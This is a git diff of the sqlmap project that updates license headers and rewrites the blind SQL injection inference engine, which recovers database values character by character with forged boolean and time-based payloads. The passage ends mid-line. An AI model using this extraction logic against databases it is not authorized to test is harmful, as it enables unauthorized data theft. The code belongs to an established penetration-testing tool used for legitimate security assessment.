#!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 298f5496598..2c1d3f41634 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,55 +1,68 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from __future__ import division + import re -import threading import time -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import dataToStdout -from lib.core.common import decodeHexValue +from lib.core.common import decodeDbmsHexValue from lib.core.common import decodeIntToUnicode from lib.core.common import filterControlChars from lib.core.common import getCharset from lib.core.common import getCounter -from lib.core.common import goGoodSamaritan from lib.core.common import getPartRun +from lib.core.common import getTechnique +from lib.core.common import getTechniqueData +from lib.core.common import goGoodSamaritan from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import incrementCounter -from lib.core.common import randomStr +from lib.core.common import isDigit +from lib.core.common import isListLike from lib.core.common import safeStringFormat -from lib.core.common import setFormatterPrependFlag from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD -from lib.core.exception import sqlmapThreadException -from lib.core.progress import ProgressBar +from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK -from lib.core.settings import INFERENCE_UNKNOWN_CHAR -from lib.core.settings import INFERENCE_GREATER_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import INFERENCE_GREATER_CHAR +from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR -from lib.core.settings import MAX_TIME_REVALIDATION_STEPS +from lib.core.settings import INFERENCE_UNKNOWN_CHAR +from lib.core.settings import MAX_BISECTION_LENGTH +from lib.core.settings import MAX_REVALIDATION_STEPS +from lib.core.settings import NULL +from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER +from lib.core.settings import PAYLOAD_DELIMITER +from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD from lib.core.threads import getCurrentThreadData from lib.core.threads import runThreads from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request +from lib.utils.progress import ProgressBar +from lib.utils.safe2bin import safecharencode +from lib.utils.xrange import xrange +from thirdparty import six def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ @@ -57,153 +70,230 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None on an affected host """ + abortedFlag = False + showEta = False partialValue = u"" finalValue = None - abortedFlag = False - asciiTbl = getCharset(charsetType) - timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) + retrievedLength = 0 + + if payload is None: + return 0, None + + if charsetType is None and conf.charset: + asciiTbl = sorted(set(ord(_) for _ in conf.charset)) + else: + asciiTbl = getCharset(charsetType) + + threadData = getCurrentThreadData() + timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: - if PARTIAL_VALUE_MARKER in retVal: + if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: + pass + elif PARTIAL_HEX_VALUE_MARKER in retVal: + retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") + + if retVal and conf.hexConvert: + partialValue = retVal + infoMsg = "resuming partial value: %s" % safecharencode(partialValue) + logger.info(infoMsg) + elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") - if retVal: + + if retVal and not conf.hexConvert: partialValue = retVal - dataToStdout("[%s] [INFO] resuming partial value: '%s'\r\n" % (time.strftime("%X"), safecharencode(partialValue))) + infoMsg = "resuming partial value: %s" % safecharencode(partialValue) + logger.info(infoMsg) else: - dataToStdout("[%s] [INFO] resumed: %s\r\n" % (time.strftime("%X"), safecharencode(retVal))) + infoMsg = "resumed: %s" % safecharencode(retVal) + logger.info(infoMsg) + return 0, retVal + if Backend.isDbms(DBMS.MCKOI): + match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + original = queries[Backend.getIdentifiedDbms()].inference.query + right = original.split('<')[1] + payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) + expression = match.group(1).strip() + + elif Backend.isDbms(DBMS.FRONTBASE): + match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) + if match: + payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) + payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) + expression = match.group(2).strip() + try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good - # samaritan") is used - kb.partRun = getPartRun() if conf.predictOutput else None + # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API + if conf.predictOutput: + kb.partRun = getPartRun() + elif conf.api: + kb.partRun = getPartRun(alias=False) + else: + kb.partRun = None if partialValue: firstChar = len(partialValue) - elif "LENGTH(" in expression or "LEN(" in expression: + elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 - elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ): + elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 - elif firstChar is None: - firstChar = 0 - elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int): + if kb.fileReadMode: + firstChar <<= 1 + elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 + else: + firstChar = 0 - if "LENGTH(" in expression or "LEN(" in expression: + if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 - elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ): + elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) - elif lastChar in ( None, "0" ): - lastChar = 0 - elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int): + elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) + else: + lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) - expressionUnescaped = unescaper.unescape(expressionReplaced) + expressionUnescaped = unescaper.escape(expressionReplaced) else: - expressionUnescaped = unescaper.unescape(expression) + expressionUnescaped = unescaper.escape(expression) - if length and isinstance(length, basestring) and length.isdigit(): + if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) + else: + length = None if length == 0: return 0, "" - if lastChar > 0 and length > ( lastChar - firstChar ): - length = lastChar - firstChar + if length and (lastChar > 0 or firstChar > 0): + length = min(length, lastChar or length) - firstChar + + if length and length > MAX_BISECTION_LENGTH: + length = None showEta = conf.eta and isinstance(length, int) - numThreads = min(conf.threads, length) + + if kb.bruteMode: + numThreads = 1 + else: + numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) - progressTime = [] - - if timeBasedCompare and conf.threads > 1: - warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" - singleTimeWarnMessage(warnMsg) if numThreads > 1: - if not timeBasedCompare: + if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 - if conf.threads == 1 and not timeBasedCompare: + if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) - if conf.verbose in (1, 2) and not showEta: - if isinstance(length, int) and conf.threads > 1: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): + if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) - hintlock = threading.Lock() - def tryHint(idx): - with hintlock: + with kb.locks.hint: hintValue = kb.hintValue - if hintValue is not None and len(hintValue) >= idx: - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): - posValue = hintValue[idx-1] + if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx: + if "'%s'" % CHAR_INFERENCE_MARK in payload: + posValue = hintValue[idx - 1] else: - posValue = ord(hintValue[idx-1]) + posValue = ord(hintValue[idx - 1]) - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + markingValue = "'%s'" % CHAR_INFERENCE_MARK + unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) + forgedPayload = agent.extractPayload(payload) or "" + forgedPayload = forgedPayload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) + result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) if result: - return hintValue[idx-1] + return hintValue[idx - 1] - with hintlock: - kb.hintValue = None + with kb.locks.hint: + kb.hintValue = "" return None def validateChar(idx, value): """ - Used in time-based inference (in case that original and retrieved - value are not equal there will be a deliberate delay). + Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + threadData = getCurrentThreadData() + + validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) + + if "'%s'" % CHAR_INFERENCE_MARK not in payload: + forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) + else: + # e.g.: ... > '%c' -> ... > ORD(..) + markingValue = "'%s'" % CHAR_INFERENCE_MARK + unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) + forgedPayload = validationPayload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) + + result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + + if result and timeBasedCompare and getTechniqueData().trueCode: + result = threadData.lastCode == getTechniqueData().trueCode + if not result: + warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, getTechniqueData().trueCode) + singleTimeWarnMessage(warnMsg) - return not result + incrementCounter(getTechnique()) - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): + return result + + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ + threadData = getCurrentThreadData() + result = tryHint(idx) if result: return result if charTbl is None: - charTbl = list(asciiTbl) + charTbl = type(asciiTbl)(asciiTbl) - originalTbl = list(charTbl) + originalTbl = type(charTbl)(charTbl) - if continuousOrder and shiftTable is None: + if kb.disableShiftTable: + shiftTable = None + elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace - shiftTable = [5, 4] + shiftTable = [2, 2, 3, 3, 3] - if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: - charTbl.remove(ord('\n')) + if "'%s'" % CHAR_INFERENCE_MARK in payload: + for char in ('\n', '\r'): + if ord(char) in charTbl: + if not isinstance(charTbl, list): + charTbl = list(charTbl) + charTbl.remove(ord(char)) if not charTbl: return None @@ -211,7 +301,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) @@ -219,82 +309,143 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return None maxChar = maxValue = charTbl[-1] - minChar = minValue = charTbl[0] + minValue = charTbl[0] + firstCheck = False + lastCheck = False + unexpectedCode = False + + if continuousOrder: + while len(charTbl) > 1: + position = None + + if charsetType is None: + if not firstCheck: + try: + try: + lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] + except IndexError: + lastChar = None + else: + if 'a' <= lastChar <= 'z': + position = charTbl.index(ord('a') - 1) # 96 + elif 'A' <= lastChar <= 'Z': + position = charTbl.index(ord('A') - 1) # 64 + elif '0' <= lastChar <= '9': + position = charTbl.index(ord('0') - 1) # 47 + except ValueError: + pass + finally: + firstCheck = True + + elif not lastCheck and numThreads == 1: # not usable in multi-threading environment + if charTbl[(len(charTbl) >> 1)] < ord(' '): + try: + # favorize last char check if current value inclines toward 0 + position = charTbl.index(1) + except ValueError: + pass + finally: + lastCheck = True + + if position is None: + position = (len(charTbl) >> 1) + + posValue = charTbl[position] + falsePayload = None + + if "'%s'" % CHAR_INFERENCE_MARK not in payload: + forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) + falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) + else: + # e.g.: ... > '%c' -> ... > ORD(..) + markingValue = "'%s'" % CHAR_INFERENCE_MARK + unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) + forgedPayload = payload.replace(markingValue, unescapedCharValue) + forgedPayload = safeStringFormat(forgedPayload, (expressionUnescaped, idx)) + falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) + + if timeBasedCompare: + if kb.responseTimeMode: + kb.responseTimePayload = falsePayload + else: + kb.responseTimePayload = None - while len(charTbl) != 1: - position = (len(charTbl) >> 1) - posValue = charTbl[position] + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - if CHAR_INFERENCE_MARK not in payload: - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) - else: - # e.g.: ... > '%c' -> ... > ORD(..) - markingValue = "'%s'" % CHAR_INFERENCE_MARK - unescapedCharValue = unescaper.unescape("'%s'" % decodeIntToUnicode(posValue)) - forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) + incrementCounter(getTechnique()) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + if not timeBasedCompare and getTechniqueData() is not None: + unexpectedCode |= threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode) + if unexpectedCode: + if threadData.lastCode is not None: + warnMsg = "unexpected HTTP code '%s' detected." % threadData.lastCode + else: + warnMsg = "unexpected response detected." - if result: - minValue = posValue + warnMsg += " Will use (extra) validation step in similar cases" - if type(charTbl) != xrange: - charTbl = charTbl[position:] - else: - # xrange() - extended virtual charset used for memory/space optimization - charTbl = xrange(charTbl[position], charTbl[-1] + 1) - else: - maxValue = posValue + singleTimeWarnMessage(warnMsg) + + if result: + minValue = posValue - if type(charTbl) != xrange: - charTbl = charTbl[:position] + if not isinstance(charTbl, xrange): + charTbl = charTbl[position:] + else: + # xrange() - extended virtual charset used for memory/space optimization + charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: - charTbl = xrange(charTbl[0], charTbl[position]) + maxValue = posValue + + if not isinstance(charTbl, xrange): + charTbl = charTbl[:position] + else: + charTbl = xrange(charTbl[0], charTbl[position]) - if len(charTbl) == 1: - if continuousOrder: + if len(charTbl) == 1: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one - # will be [128,..,128*16-1] or from 128 to 2047 + # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) - originalTbl = list(charTbl) + originalTbl = xrange(charTbl[0], charTbl[-1] + 1) maxChar = maxValue = charTbl[-1] - minChar = minValue = charTbl[0] + minValue = charTbl[0] else: + kb.disableShiftTable = True return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): - if timeBasedCompare and not validateChar(idx, retVal): + if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec - kb.timeValidCharsRun = 0 - if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: + threadData.validationRun = 0 + if (retried or 0) < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) - conf.timeSec += 1 + if timeBasedCompare: + if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: + conf.timeSec += 1 + warnMsg = "increasing time delay to %d second%s" % (conf.timeSec, 's' if conf.timeSec > 1 else '') + logger.warning(warnMsg) - warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') - logger.warn(warnMsg) + if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: + dbgMsg = "turning off time auto-adjustment mechanism" + logger.debug(dbgMsg) + kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO - if kb.adjustTimeDelay: - dbgMsg = "turning off time auto-adjustment mechanism" - logger.debug(dbgMsg) - kb.adjustTimeDelay = False - - return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) + return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) @@ -302,51 +453,64 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, return decodeIntToUnicode(retVal) else: if timeBasedCompare: - kb.timeValidCharsRun += 1 - if not kb.adjustTimeDelay and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: + threadData.validationRun += 1 + if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) - kb.adjustTimeDelay = True - + kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES + return decodeIntToUnicode(retVal) else: return None - else: - if minValue == maxChar or maxValue == minChar: - return None + else: + if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: + errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() + raise SqlmapUnsupportedFeatureException(errMsg) + + candidates = list(originalTbl) + bit = 0 + while len(candidates) > 1: + bits = {} + maxCandidate = max(candidates) + maxBits = maxCandidate.bit_length() if maxCandidate > 0 else 1 + + for candidate in candidates: + for bit in xrange(maxBits): + bits.setdefault(bit, 0) + if candidate & (1 << bit): + bits[bit] += 1 + else: + bits[bit] -= 1 - # If we are working with non-continuous elements, set - # both minValue and character afterwards are possible - # candidates - for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): - forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) - result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + choice = sorted(bits.items(), key=lambda _: abs(_[1]))[0][0] + mask = 1 << choice - if result: - return decodeIntToUnicode(retVal) + forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, "&%d%s" % (mask, INFERENCE_GREATER_CHAR)), (expressionUnescaped, idx, 0)) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) - return None + if result: + candidates = [_ for _ in candidates if _ & mask > 0] + else: + candidates = [_ for _ in candidates if _ & mask == 0] - def etaProgressUpdate(charTime, index): - if len(progressTime) <= ( (length * 3) / 100 ): - eta = 0 - else: - midTime = sum(progressTime) / len(progressTime) - midTimeWithLatest = (midTime + charTime) / 2 - eta = midTimeWithLatest * (length - index) / conf.threads + bit += 1 - progressTime.append(charTime) - progress.update(index) - progress.draw(eta) + if candidates: + forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, candidates[0])) + result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) - # Go multi-threading (--threads > 1) - if conf.threads > 1 and isinstance(length, int) and length > 1: - value = [] - threadData = getCurrentThreadData() + if result: + if candidates[0] == 0: # Trailing zeros + return None + else: + return decodeIntToUnicode(candidates[0]) - threadData.shared.value = [ None ] * length - threadData.shared.index = [ firstChar ] # As list for python nested function scoping + # Go multi-threading (--threads > 1) + if numThreads > 1 and isinstance(length, int) and length > 1: + threadData.shared.value = [None] * length + threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: @@ -354,32 +518,31 @@ def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: - kb.locks.index.acquire() + with kb.locks.index: + if threadData.shared.index[0] - firstChar >= length: + return - if threadData.shared.index[0] >= length: - kb.locks.index.release() - - return - - threadData.shared.index[0] += 1 - curidx = threadData.shared.index[0] - kb.locks.index.release() + threadData.shared.index[0] += 1 + currentCharIndex = threadData.shared.index[0] if kb.threadContinue: - charStart = time.time() - val = getChar(curidx) + val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629 + if not isListLike(threadData.shared.value): + break + with kb.locks.value: - threadData.shared.value[curidx - 1] = val + threadData.shared.value[currentCharIndex - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: - etaProgressUpdate(time.time() - charStart, threadData.shared.index[0]) + progress.progress(threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 @@ -396,23 +559,24 @@ def blindThread(): count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): - output += '_' if currentValue[i] is None else currentValue[i] + output += '_' if currentValue[i] is None else filterControlChars(currentValue[i] if len(currentValue[i]) == 1 else ' ', replacement=' ') for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: - output = '..' + output[2:] + output = ".." + output[2:] - if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1): - output = output[:-2] + '..' + if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): + output = output[:-2] + ".." - if conf.verbose in (1, 2) and not showEta: + if conf.verbose in (1, 2) and not any((showEta, conf.api, kb.bruteMode)): + _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) - status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%') - output += status if count != length else " "*len(status) + status = ' %d/%d (%d%%)' % (_, length, int(100.0 * _ / length)) + output += status if _ != length else " " * len(status) - dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) + dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), output)) runThreads(numThreads, blindThread, startThreadMsg=False) @@ -420,12 +584,13 @@ def blindThread(): abortedFlag = True finally: - value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length)) + value = [_ for _ in partialValue] + value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it - # can mean that the connection to the target url was lost + # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) @@ -435,16 +600,16 @@ def blindThread(): finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) - if conf.verbose in (1, 2) and not showEta and infoMsg: + if conf.verbose in (1, 2) and infoMsg and not any((showEta, conf.api, kb.bruteMode)): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar + threadData.shared.value = "" while True: index += 1 - charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for @@ -457,21 +622,23 @@ def blindThread(): # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue - testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False) - query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue))) + testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) + + query = getTechniqueData().vector + query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)%s%s" % (expressionUnescaped, INFERENCE_EQUALS_CHAR, testValue))) query = agent.suffixQuery(query) + result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: if showEta: - etaProgressUpdate(time.time() - charStart, len(commonValue)) - elif conf.verbose in (1, 2): - dataToStdout(filterControlChars(commonValue[index-1:])) + progress.progress(len(commonValue)) + elif conf.verbose in (1, 2) or conf.api: + dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue - break # If there is a common pattern starting with partialValue, @@ -479,16 +646,19 @@ def blindThread(): if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) - testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) - query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) + testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) + + query = getTechniqueData().vector + query = agent.prefixQuery(query.replace(INFERENCE_MARKER, "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) + result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) - incrementCounter(kb.technique) + incrementCounter(getTechnique()) # Did we have luck? if result: - val = commonPattern[index-1:] - index += len(val)-1 + val = commonPattern[index - 1:] + index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern @@ -502,102 +672,86 @@ def blindThread(): if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl) + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) - if val is None or ( lastChar > 0 and index > lastChar ): + if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) - partialValue += val + threadData.shared.value = partialValue = partialValue + val if showEta: - etaProgressUpdate(time.time() - charStart, index) - elif conf.verbose in (1, 2): + progress.progress(index) + elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api: dataToStdout(filterControlChars(val)) - if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace(): - finalValue = partialValue + # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces + if Backend.getIdentifiedDbms() in (DBMS.FIREBIRD, 